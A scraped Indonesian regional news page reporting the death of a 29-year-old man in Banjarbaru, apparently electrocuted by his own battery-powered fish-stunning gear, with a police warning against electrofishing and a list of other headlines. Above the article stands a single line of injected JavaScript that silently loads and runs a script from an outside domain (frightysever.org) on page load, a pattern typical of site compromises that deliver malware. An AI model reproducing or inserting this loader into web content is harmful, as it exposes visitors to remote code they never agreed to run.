(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Minta Jemput Istri Saat Setrum Ikan, Gajali Ditemukan Sudah Tak Bernyawa


BANJARBARU, Menghilang saat sedang memancing, polisi temukan sesosok pria tak bernyawa di Makam Mulia Sejahtera, Kelurahan Landasan Ulin Barat, Kecamatan Liang Anggang, Selasa (19/6) sekitar pukul 23.00 Wita.

Pria bernama Gajali Rahman (29) warga Jalan Gub Soebarjo RT 10 Kelurahan Landasan Ulin Barat Kecamatan Liang Anggang, Banjarbaru ditemukan dengan kondisi terkelungkup terbujur kaku di semak-semak, tepatnya di belakang pemakaman Cina.

Kapolsek Banjarbaru Barat Kompol Syaiful Bob mengungkapkan, pencarian tersebut bermula dari keterangan istri korban, Siti Fatimah (28) yang menjelaskan pada Senin (18/6) sekitar pukul 12.00 Wita dirinya telah mengantar suaminya untuk mencari ikan menggunakan setrum Accu.

Setibanya di lokasi, korban berpesan kepada istrinya untuk dijemput kembali 1 jam kemudian. Sekitar 1 jam berlalu, istri korban datang ke lokasi pemakaman untuk menjemput Gajali. Namun suaminya tersebut tidak ada. Siti pun mencoba menunggu hingga pukul 17.00 wita namun tidak juga suaminya kembali. “Jadi korban minta untuk dijemput 1 jam setelah diantar ke lokasi kejadian. Tapi saat istrinya kembali lagi, suaminya tidak diketahui keberadaanya,” ungkap Kompol Syaiful Bob

Resah akan hal tersebut, Siti pun mengabarkan kejadian ini kepada keluarga dan tetangga. Sembari meminta tolong untuk dibantu mencari keberadaan suaminya tersebut.  Alhasil, seluruh pihak berdatangan baik tim BPK seperti Landu rescue, Basarnas, PMI Banjarbaru dan BPK lainnya serta Polsek Banjarbaru Barat.

Tidak butuh lama, tim gabungan yang saat itu menempuh rute yang cukup membahayakan akhirnya menemukan Gajali Rahman, yang saat itu  telah dalam keadaan meninggal. Jenazah ditemukan dalam keadaan posisi tertelungkup dengan menggendong alat setrum ikan.

Selanjutnya korban langsung di bawa ke Rumah Sakit Banjabaru untuk di lakukan visum. Belum diketahui penyebab pasti tewasnya Gajali. Namun diduga kuat korban kesetrum alat yang digunakannya untuk memancing ikan. Hal ini melihat alat setrum berupa aki dan kabel listrik masih menempel di tubuh korban saat ditemukan.

Kapolsek Banjarbaru Barat Kompol Syaiful Bob menghimbau kepada masyarakat untuk lebih memperhatikan peralatan yang digunakan dalam memancing. Sebab hal tersebut dapat menjadi ancaman bagi keselamatan diri sendiri. “Masyarakat agar jangan sekali-sekali menggunakan alat setrum untuk menangkap ikan , karna akan membayakan diri sendiri hingga berakibat meninggal dunia” pungkasnya. (Rico)

Reporter:Rico
Editor:Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

2 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

2 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

5 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

7 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

20 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

22 jam ago

This website uses cookies.